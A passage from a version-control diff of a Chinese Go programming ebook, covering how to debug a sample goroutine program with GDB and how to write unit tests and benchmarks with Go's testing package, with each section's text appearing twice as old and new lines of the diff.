2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
|
||||
breakpoint already hit 1 time
|
||||
|
||||
- backtrace
|
||||
|
||||
简写命令 `bt`,用来打印执行的代码过程,如下所示:
|
||||
|
||||
#0 main.main () at /home/xiemengjun/gdb.go:23
|
||||
#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
|
||||
#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
|
||||
#3 0x0000000000000000 in ?? ()
|
||||
- info
|
||||
|
||||
info命令用来显示信息,后面有几种参数,我们常用的有如下几种:
|
||||
|
||||
- `info locals`
|
||||
|
||||
显示当前执行的程序中的变量值
|
||||
- `info breakpoints`
|
||||
|
||||
显示当前设置的断点列表
|
||||
- `info goroutines`
|
||||
|
||||
显示当前执行的goroutine列表,如下代码所示,带*的表示当前执行的
|
||||
|
||||
* 1 running runtime.gosched
|
||||
* 2 syscall runtime.entersyscall
|
||||
3 waiting runtime.gosched
|
||||
4 runnable runtime.gosched
|
||||
- print
|
||||
|
||||
简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap(),用来返回当前string、slices或者maps的长度和容量。
|
||||
|
||||
- whatis
|
||||
|
||||
用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下:
|
||||
|
||||
type = struct string
|
||||
- next
|
||||
|
||||
简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行
|
||||
- coutinue
|
||||
|
||||
简称命令 `c`,用来跳出当前断点处,后面可以跟参数N,跳过多少次断点
|
||||
|
||||
- set variable
|
||||
|
||||
该命令用来改变运行过程中的变量值,格式如:`set variable <var>=<value>`
|
||||
|
||||
## 调试过程
|
||||
我们通过下面这个代码来演示如何通过GDB来调试Go程序,下面是将要演示的代码:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
func counting(c chan<- int) {
|
||||
for i := 0; i < 10; i++ {
|
||||
time.Sleep(2 * time.Second)
|
||||
c <- i
|
||||
}
|
||||
close(c)
|
||||
}
|
||||
|
||||
func main() {
|
||||
msg := "Starting main"
|
||||
fmt.Println(msg)
|
||||
bus := make(chan int)
|
||||
msg = "starting a gofunc"
|
||||
go counting(bus)
|
||||
for count := range bus {
|
||||
fmt.Println("count:", count)
|
||||
}
|
||||
}
|
||||
|
||||
编译文件,生成可执行文件gdbfile:
|
||||
|
||||
go build -gcflags "-N -l" -ldflags "-s" gdbfile.go
|
||||
|
||||
通过gdb命令启动调试:
|
||||
|
||||
gdb gdbfile
|
||||
|
||||
启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的:
|
||||
|
||||
(gdb) run
|
||||
Starting program: /home/xiemengjun/gdbfile
|
||||
Starting main
|
||||
count: 0
|
||||
count: 1
|
||||
count: 2
|
||||
count: 3
|
||||
count: 4
|
||||
count: 5
|
||||
count: 6
|
||||
count: 7
|
||||
count: 8
|
||||
count: 9
|
||||
[LWP 2771 exited]
|
||||
[Inferior 1 (process 2771) exited normally]
|
||||
好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点:
|
||||
|
||||
(gdb) b 23
|
||||
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
|
||||
(gdb) run
|
||||
Starting program: /home/xiemengjun/gdbfile
|
||||
Starting main
|
||||
[New LWP 3284]
|
||||
[Switching to LWP 3284]
|
||||
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
上面例子`b 23`表示在第23行设置了断点,之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始:
|
||||
|
||||
(gdb) list
|
||||
18 fmt.Println(msg)
|
||||
19 bus := make(chan int)
|
||||
20 msg = "starting a gofunc"
|
||||
21 go counting(bus)
|
||||
22 for count := range bus {
|
||||
23 fmt.Println("count:", count)
|
||||
24 }
|
||||
25 }
|
||||
|
||||
现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息,我们只需打印出相应的变量,查看相应变量的类型及值:
|
||||
|
||||
(gdb) info locals
|
||||
count = 0
|
||||
bus = 0xf840001a50
|
||||
(gdb) p count
|
||||
$1 = 0
|
||||
(gdb) p bus
|
||||
$2 = (chan int) 0xf840001a50
|
||||
(gdb) whatis bus
|
||||
type = chan int
|
||||
|
||||
接下来该让程序继续往下执行,请继续看下面的命令
|
||||
|
||||
(gdb) c
|
||||
Continuing.
|
||||
count: 0
|
||||
[New LWP 3303]
|
||||
[Switching to LWP 3303]
|
||||
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
(gdb) c
|
||||
Continuing.
|
||||
count: 1
|
||||
[Switching to LWP 3302]
|
||||
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
每次输入`c`之后都会执行一次代码,又跳到下一次for循环,继续打印出来相应的信息。
|
||||
|
||||
设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果:
|
||||
|
||||
(gdb) info locals
|
||||
count = 2
|
||||
bus = 0xf840001a50
|
||||
(gdb) set variable count=9
|
||||
(gdb) info locals
|
||||
count = 9
|
||||
bus = 0xf840001a50
|
||||
(gdb) c
|
||||
Continuing.
|
||||
count: 9
|
||||
[Switching to LWP 3302]
|
||||
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
最后稍微思考一下,前面整个程序运行的过程中到底创建了多少个goroutine,每个goroutine都在做什么:
|
||||
|
||||
(gdb) info goroutines
|
||||
* 1 running runtime.gosched
|
||||
* 2 syscall runtime.entersyscall
|
||||
3 waiting runtime.gosched
|
||||
4 runnable runtime.gosched
|
||||
(gdb) goroutine 1 bt
|
||||
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
|
||||
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
|
||||
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
|
||||
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
|
||||
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
|
||||
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
|
||||
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
|
||||
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
|
||||
#6 0x0000000000000000 in ?? ()
|
||||
|
||||
通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的,每个函数的调用顺序已经明明白白地显示出来了。
|
||||
|
||||
## 小结
|
||||
本小节我们介绍了GDB调试Go程序的一些基本命令,包括`run`、`print`、`info`、`set variable`、`coutinue`、`list`、`break` 等经常用到的调试命令,通过上面的例子演示,我相信读者已经对于通过GDB调试Go程序有了基本的理解,如果你想获取更多的调试技巧请参考官方网站的GDB调试手册,还有GDB官方网站的手册。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [错误处理](<11.1.md>)
|
||||
* 下一节: [Go怎么写测试用例](<11.3.md>)
|
||||
# 11.2 使用GDB调试
|
||||
开发程序过程中调试代码是开发者经常要做的一件事情,Go语言不像PHP、Python等动态语言,只要修改不需要编译就可以直接输出,而且可以动态的在运行环境下打印数据。当然Go语言也可以通过Println之类的打印数据来调试,但是每次都需要重新编译,这是一件相当麻烦的事情。我们知道在Python中有pdb/ipdb之类的工具调试,Javascript也有类似工具,这些工具都能够动态的显示变量信息,单步调试等。不过庆幸的是Go也有类似的工具支持:GDB。Go内部已经内置支持了GDB,所以,我们可以通过GDB来进行调试,那么本小节就来介绍一下如何通过GDB来调试Go程序。
|
||||
|
||||
## GDB调试简介
|
||||
GDB是FSF(自由软件基金会)发布的一个强大的类UNIX系统下的程序调试工具。使用GDB可以做如下事情:
|
||||
|
||||
1. 启动程序,可以按照开发者的自定义要求运行程序。
|
||||
2. 可让被调试的程序在开发者设定的调置的断点处停住。(断点可以是条件表达式)
|
||||
3. 当程序被停住时,可以检查此时程序中所发生的事。
|
||||
4. 动态的改变当前程序的执行环境。
|
||||
|
||||
目前支持调试Go程序的GDB版本必须大于7.1。
|
||||
|
||||
编译Go程序的时候需要注意以下几点
|
||||
|
||||
1. 传递参数-ldflags "-s",忽略debug的打印信息
|
||||
2. 传递-gcflags "-N -l" 参数,这样可以忽略Go内部做的一些优化,聚合变量和函数等优化,这样对于GDB调试来说非常困难,所以在编译的时候加入这两个参数避免这些优化。
|
||||
|
||||
## 常用命令
|
||||
GDB的一些常用命令如下所示
|
||||
|
||||
- list
|
||||
|
||||
简写命令`l`,用来显示源代码,默认显示十行代码,后面可以带上参数显示的具体行,例如:`list 15`,显示十行代码,其中第15行在显示的十行里面的中间,如下所示。
|
||||
|
||||
10 time.Sleep(2 * time.Second)
|
||||
11 c <- i
|
||||
12 }
|
||||
13 close(c)
|
||||
14 }
|
||||
15
|
||||
16 func main() {
|
||||
17 msg := "Starting main"
|
||||
18 fmt.Println(msg)
|
||||
19 bus := make(chan int)
|
||||
|
||||
|
||||
- break
|
||||
|
||||
简写命令 `b`,用来设置断点,后面跟上参数设置断点的行数,例如`b 10`在第十行设置断点。
|
||||
|
||||
- delete
|
||||
简写命令 `d`,用来删除断点,后面跟上断点设置的序号,这个序号可以通过`info breakpoints`获取相应的设置的断点序号,如下是显示的设置断点序号。
|
||||
|
||||
Num Type Disp Enb Address What
|
||||
2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
|
||||
breakpoint already hit 1 time
|
||||
|
||||
- backtrace
|
||||
|
||||
简写命令 `bt`,用来打印执行的代码过程,如下所示:
|
||||
|
||||
#0 main.main () at /home/xiemengjun/gdb.go:23
|
||||
#1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
|
||||
#2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
|
||||
#3 0x0000000000000000 in ?? ()
|
||||
- info
|
||||
|
||||
info命令用来显示信息,后面有几种参数,我们常用的有如下几种:
|
||||
|
||||
- `info locals`
|
||||
|
||||
显示当前执行的程序中的变量值
|
||||
- `info breakpoints`
|
||||
|
||||
显示当前设置的断点列表
|
||||
- `info goroutines`
|
||||
|
||||
显示当前执行的goroutine列表,如下代码所示,带*的表示当前执行的
|
||||
|
||||
* 1 running runtime.gosched
|
||||
* 2 syscall runtime.entersyscall
|
||||
3 waiting runtime.gosched
|
||||
4 runnable runtime.gosched
|
||||
- print
|
||||
|
||||
简写命令`p`,用来打印变量或者其他信息,后面跟上需要打印的变量名,当然还有一些很有用的函数$len()和$cap(),用来返回当前string、slices或者maps的长度和容量。
|
||||
|
||||
- whatis
|
||||
|
||||
用来显示当前变量的类型,后面跟上变量名,例如`whatis msg`,显示如下:
|
||||
|
||||
type = struct string
|
||||
- next
|
||||
|
||||
简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行
|
||||
- coutinue
|
||||
|
||||
简称命令 `c`,用来跳出当前断点处,后面可以跟参数N,跳过多少次断点
|
||||
|
||||
- set variable
|
||||
|
||||
该命令用来改变运行过程中的变量值,格式如:`set variable <var>=<value>`
|
||||
|
||||
## 调试过程
|
||||
我们通过下面这个代码来演示如何通过GDB来调试Go程序,下面是将要演示的代码:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
func counting(c chan<- int) {
|
||||
for i := 0; i < 10; i++ {
|
||||
time.Sleep(2 * time.Second)
|
||||
c <- i
|
||||
}
|
||||
close(c)
|
||||
}
|
||||
|
||||
func main() {
|
||||
msg := "Starting main"
|
||||
fmt.Println(msg)
|
||||
bus := make(chan int)
|
||||
msg = "starting a gofunc"
|
||||
go counting(bus)
|
||||
for count := range bus {
|
||||
fmt.Println("count:", count)
|
||||
}
|
||||
}
|
||||
|
||||
编译文件,生成可执行文件gdbfile:
|
||||
|
||||
go build -gcflags "-N -l" -ldflags "-s" gdbfile.go
|
||||
|
||||
通过gdb命令启动调试:
|
||||
|
||||
gdb gdbfile
|
||||
|
||||
启动之后首先看看这个程序是不是可以运行起来,只要输入`run`命令回车后程序就开始运行,程序正常的话可以看到程序输出如下,和我们在命令行直接执行程序输出是一样的:
|
||||
|
||||
(gdb) run
|
||||
Starting program: /home/xiemengjun/gdbfile
|
||||
Starting main
|
||||
count: 0
|
||||
count: 1
|
||||
count: 2
|
||||
count: 3
|
||||
count: 4
|
||||
count: 5
|
||||
count: 6
|
||||
count: 7
|
||||
count: 8
|
||||
count: 9
|
||||
[LWP 2771 exited]
|
||||
[Inferior 1 (process 2771) exited normally]
|
||||
好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点:
|
||||
|
||||
(gdb) b 23
|
||||
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
|
||||
(gdb) run
|
||||
Starting program: /home/xiemengjun/gdbfile
|
||||
Starting main
|
||||
[New LWP 3284]
|
||||
[Switching to LWP 3284]
|
||||
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
上面例子`b 23`表示在第23行设置了断点,之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始:
|
||||
|
||||
(gdb) list
|
||||
18 fmt.Println(msg)
|
||||
19 bus := make(chan int)
|
||||
20 msg = "starting a gofunc"
|
||||
21 go counting(bus)
|
||||
22 for count := range bus {
|
||||
23 fmt.Println("count:", count)
|
||||
24 }
|
||||
25 }
|
||||
|
||||
现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息,我们只需打印出相应的变量,查看相应变量的类型及值:
|
||||
|
||||
(gdb) info locals
|
||||
count = 0
|
||||
bus = 0xf840001a50
|
||||
(gdb) p count
|
||||
$1 = 0
|
||||
(gdb) p bus
|
||||
$2 = (chan int) 0xf840001a50
|
||||
(gdb) whatis bus
|
||||
type = chan int
|
||||
|
||||
接下来该让程序继续往下执行,请继续看下面的命令
|
||||
|
||||
(gdb) c
|
||||
Continuing.
|
||||
count: 0
|
||||
[New LWP 3303]
|
||||
[Switching to LWP 3303]
|
||||
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
(gdb) c
|
||||
Continuing.
|
||||
count: 1
|
||||
[Switching to LWP 3302]
|
||||
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
每次输入`c`之后都会执行一次代码,又跳到下一次for循环,继续打印出来相应的信息。
|
||||
|
||||
设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果:
|
||||
|
||||
(gdb) info locals
|
||||
count = 2
|
||||
bus = 0xf840001a50
|
||||
(gdb) set variable count=9
|
||||
(gdb) info locals
|
||||
count = 9
|
||||
bus = 0xf840001a50
|
||||
(gdb) c
|
||||
Continuing.
|
||||
count: 9
|
||||
[Switching to LWP 3302]
|
||||
|
||||
Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
|
||||
23 fmt.Println("count:", count)
|
||||
|
||||
最后稍微思考一下,前面整个程序运行的过程中到底创建了多少个goroutine,每个goroutine都在做什么:
|
||||
|
||||
(gdb) info goroutines
|
||||
* 1 running runtime.gosched
|
||||
* 2 syscall runtime.entersyscall
|
||||
3 waiting runtime.gosched
|
||||
4 runnable runtime.gosched
|
||||
(gdb) goroutine 1 bt
|
||||
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
|
||||
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
|
||||
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
|
||||
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
|
||||
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
|
||||
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
|
||||
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
|
||||
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
|
||||
#6 0x0000000000000000 in ?? ()
|
||||
|
||||
通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的,每个函数的调用顺序已经明明白白地显示出来了。
|
||||
|
||||
## 小结
|
||||
本小节我们介绍了GDB调试Go程序的一些基本命令,包括`run`、`print`、`info`、`set variable`、`coutinue`、`list`、`break` 等经常用到的调试命令,通过上面的例子演示,我相信读者已经对于通过GDB调试Go程序有了基本的理解,如果你想获取更多的调试技巧请参考官方网站的GDB调试手册,还有GDB官方网站的手册。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [错误处理](<11.1.md>)
|
||||
* 下一节: [Go怎么写测试用例](<11.3.md>)
|
||||
296
11.3.md → ebook/11.3.md
Executable file → Normal file
296
11.3.md → ebook/11.3.md
Executable file → Normal file
@@ -1,149 +1,149 @@
|
||||
# 11.3 Go怎么写测试用例
|
||||
开发程序其中很重要的一点是测试,我们如何保证代码的质量,如何保证每个函数是可运行,运行结果是正确的,又如何保证写出来的代码性能是好的,我们知道单元测试的重点在于发现程序设计或实现的逻辑错误,使问题及早暴露,便于问题的定位解决,而性能测试的重点在于发现程序设计上的一些问题,让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。
|
||||
|
||||
Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。
|
||||
|
||||
## 如何编写测试用例
|
||||
由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。
|
||||
|
||||
接下来我们在该目录下面创建两个文件:gotest.go和gotest_test.go
|
||||
|
||||
1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算:
|
||||
|
||||
package gotest
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
func Division(a, b float64) (float64, error) {
|
||||
if b == 0 {
|
||||
return 0, errors.New("除数不能为0")
|
||||
}
|
||||
|
||||
return a / b, nil
|
||||
}
|
||||
|
||||
2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则:
|
||||
|
||||
- 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码
|
||||
- 你必须import `testing`这个包
|
||||
- 所有的测试用例函数必须是`Test`开头
|
||||
- 测试用例会按照源代码中写的顺序依次执行
|
||||
- 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态
|
||||
- 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。
|
||||
- 函数中通过调用`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。
|
||||
|
||||
下面是我们的测试用例的代码:
|
||||
|
||||
package gotest
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Test_Division_1(t *testing.T) {
|
||||
if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function
|
||||
t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错
|
||||
} else {
|
||||
t.Log("第一个测试通过了") //记录一些你期望记录的信息
|
||||
}
|
||||
}
|
||||
|
||||
func Test_Division_2(t *testing.T) {
|
||||
t.Error("就是不通过")
|
||||
}
|
||||
|
||||
我们在项目目录下面执行`go test`,就会显示如下信息:
|
||||
|
||||
--- FAIL: Test_Division_2 (0.00 seconds)
|
||||
gotest_test.go:16: 就是不通过
|
||||
FAIL
|
||||
exit status 1
|
||||
FAIL gotest 0.013s
|
||||
从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息:
|
||||
|
||||
=== RUN Test_Division_1
|
||||
--- PASS: Test_Division_1 (0.00 seconds)
|
||||
gotest_test.go:11: 第一个测试通过了
|
||||
=== RUN Test_Division_2
|
||||
--- FAIL: Test_Division_2 (0.00 seconds)
|
||||
gotest_test.go:16: 就是不通过
|
||||
FAIL
|
||||
exit status 1
|
||||
FAIL gotest 0.012s
|
||||
上面的输出详细的展示了这个测试的过程,我们看到测试函数1`Test_Division_1`测试通过,而测试函数2`Test_Division_2`测试失败了,最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码:
|
||||
|
||||
func Test_Division_2(t *testing.T) {
|
||||
if _, e := Division(6, 0); e == nil { //try a unit test on function
|
||||
t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错
|
||||
} else {
|
||||
t.Log("one test passed.", e) //记录一些你期望记录的信息
|
||||
}
|
||||
}
|
||||
然后我们执行`go test -v`,就显示如下信息,测试通过了:
|
||||
|
||||
=== RUN Test_Division_1
|
||||
--- PASS: Test_Division_1 (0.00 seconds)
|
||||
gotest_test.go:11: 第一个测试通过了
|
||||
=== RUN Test_Division_2
|
||||
--- PASS: Test_Division_2 (0.00 seconds)
|
||||
gotest_test.go:20: one test passed. 除数不能为0
|
||||
PASS
|
||||
ok gotest 0.013s
|
||||
|
||||
## 如何编写压力测试
|
||||
压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点:
|
||||
|
||||
- 压力测试用例必须遵循如下格式,其中XXX可以是任意字母数字的组合,但是首字母不能是小写字母
|
||||
|
||||
func BenchmarkXXX(b *testing.B) { ... }
|
||||
|
||||
- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数
|
||||
- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行
|
||||
- 文件名也必须以`_test.go`结尾
|
||||
|
||||
下面我们新建一个压力测试文件webbench_test.go,代码如下所示:
|
||||
|
||||
package gotest
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Benchmark_Division(b *testing.B) {
|
||||
for i := 0; i < b.N; i++ { //use b.N for looping
|
||||
Division(4, 5)
|
||||
}
|
||||
}
|
||||
|
||||
func Benchmark_TimeConsumingFunction(b *testing.B) {
|
||||
b.StopTimer() //调用该函数停止压力测试的时间计数
|
||||
|
||||
//做一些初始化的工作,例如读取文件数据,数据库连接之类的,
|
||||
//这样这些时间不影响我们测试函数本身的性能
|
||||
|
||||
b.StartTimer() //重新开始时间
|
||||
for i := 0; i < b.N; i++ {
|
||||
Division(4, 5)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
我们执行命令`go test -file webbench_test.go -test.bench=".*"`,可以看到如下结果:
|
||||
|
||||
PASS
|
||||
Benchmark_Division 500000000 7.76 ns/op
|
||||
Benchmark_TimeConsumingFunction 500000000 7.80 ns/op
|
||||
ok gotest 9.364s
|
||||
|
||||
上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次,每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000,每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。
|
||||
|
||||
## 小结
|
||||
通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [使用GDB调试](<11.2.md>)
|
||||
# 11.3 Go怎么写测试用例
|
||||
开发程序其中很重要的一点是测试,我们如何保证代码的质量,如何保证每个函数是可运行,运行结果是正确的,又如何保证写出来的代码性能是好的,我们知道单元测试的重点在于发现程序设计或实现的逻辑错误,使问题及早暴露,便于问题的定位解决,而性能测试的重点在于发现程序设计上的一些问题,让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。
|
||||
|
||||
Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。
|
||||
|
||||
## 如何编写测试用例
|
||||
由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。
|
||||
|
||||
接下来我们在该目录下面创建两个文件:gotest.go和gotest_test.go
|
||||
|
||||
1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算:
|
||||
|
||||
package gotest
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
func Division(a, b float64) (float64, error) {
|
||||
if b == 0 {
|
||||
return 0, errors.New("除数不能为0")
|
||||
}
|
||||
|
||||
return a / b, nil
|
||||
}
|
||||
|
||||
2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则:
|
||||
|
||||
- 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码
|
||||
- 你必须import `testing`这个包
|
||||
- 所有的测试用例函数必须是`Test`开头
|
||||
- 测试用例会按照源代码中写的顺序依次执行
|
||||
- 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态
|
||||
- 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。
|
||||
- 函数中通过调用`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。
|
||||
|
||||
下面是我们的测试用例的代码:
|
||||
|
||||
package gotest
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func Test_Division_1(t *testing.T) {
|
||||
if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function
|
||||
t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错
|
||||
} else {
|
||||
t.Log("第一个测试通过了") //记录一些你期望记录的信息
|
||||
}
|
||||
}
|
||||
|
||||
func Test_Division_2(t *testing.T) {
|
||||
t.Error("就是不通过")
|
||||
}
|
||||
|
||||
我们在项目目录下面执行`go test`,就会显示如下信息:
|
||||
|
||||
--- FAIL: Test_Division_2 (0.00 seconds)
|
||||
gotest_test.go:16: 就是不通过
|
||||
FAIL
|
||||
exit status 1
|
||||
FAIL gotest 0.013s
|
||||
从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息:
|
||||
|
||||
=== RUN Test_Division_1
|
||||
--- PASS: Test_Division_1 (0.00 seconds)
|
||||
gotest_test.go:11: 第一个测试通过了
|
||||
=== RUN Test_Division_2
|
||||
--- FAIL: Test_Division_2 (0.00 seconds)
|
||||
gotest_test.go:16: 就是不通过
|
||||
FAIL
|
||||
exit status 1
|
||||
FAIL gotest 0.012s
|
||||
上面的输出详细的展示了这个测试的过程,我们看到测试函数1`Test_Division_1`测试通过,而测试函数2`Test_Division_2`测试失败了,最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码:
|
||||
|
||||
func Test_Division_2(t *testing.T) {
|
||||
if _, e := Division(6, 0); e == nil { //try a unit test on function
|
||||
t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错
|
||||
} else {
|
||||
t.Log("one test passed.", e) //记录一些你期望记录的信息
|
||||
}
|
||||
}
|
||||
然后我们执行`go test -v`,就显示如下信息,测试通过了:
|
||||
|
||||
=== RUN Test_Division_1
|
||||
--- PASS: Test_Division_1 (0.00 seconds)
|
||||
gotest_test.go:11: 第一个测试通过了
|
||||
=== RUN Test_Division_2
|
||||
--- PASS: Test_Division_2 (0.00 seconds)
|
||||
gotest_test.go:20: one test passed. 除数不能为0
|
||||
PASS
|
||||
ok gotest 0.013s
|
||||
|
||||
## 如何编写压力测试
|
||||
压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点:
|
||||
|
||||
- 压力测试用例必须遵循如下格式,其中XXX可以是任意字母数字的组合,但是首字母不能是小写字母
|
||||
|
||||
func BenchmarkXXX(b *testing.B) { ... }
|
||||
|
||||
